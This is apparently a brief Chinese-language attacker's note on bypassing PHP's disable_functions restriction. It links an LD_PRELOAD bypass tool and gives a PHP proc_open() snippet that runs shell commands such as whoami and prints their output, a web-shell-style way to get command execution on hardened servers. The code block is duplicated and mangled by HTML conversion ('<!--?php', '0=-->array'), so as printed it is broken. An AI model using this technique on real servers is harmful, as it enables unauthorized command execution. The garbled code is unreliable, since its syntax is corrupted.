php 绕过disable_function
0x00:list
PHP 支持putenv()、mail() 即可
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
支持 proc_open()函数
<!--?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=-->array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('whoami',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br>stderr:<br>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=-->array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('whoami',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br>stderr:<br>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>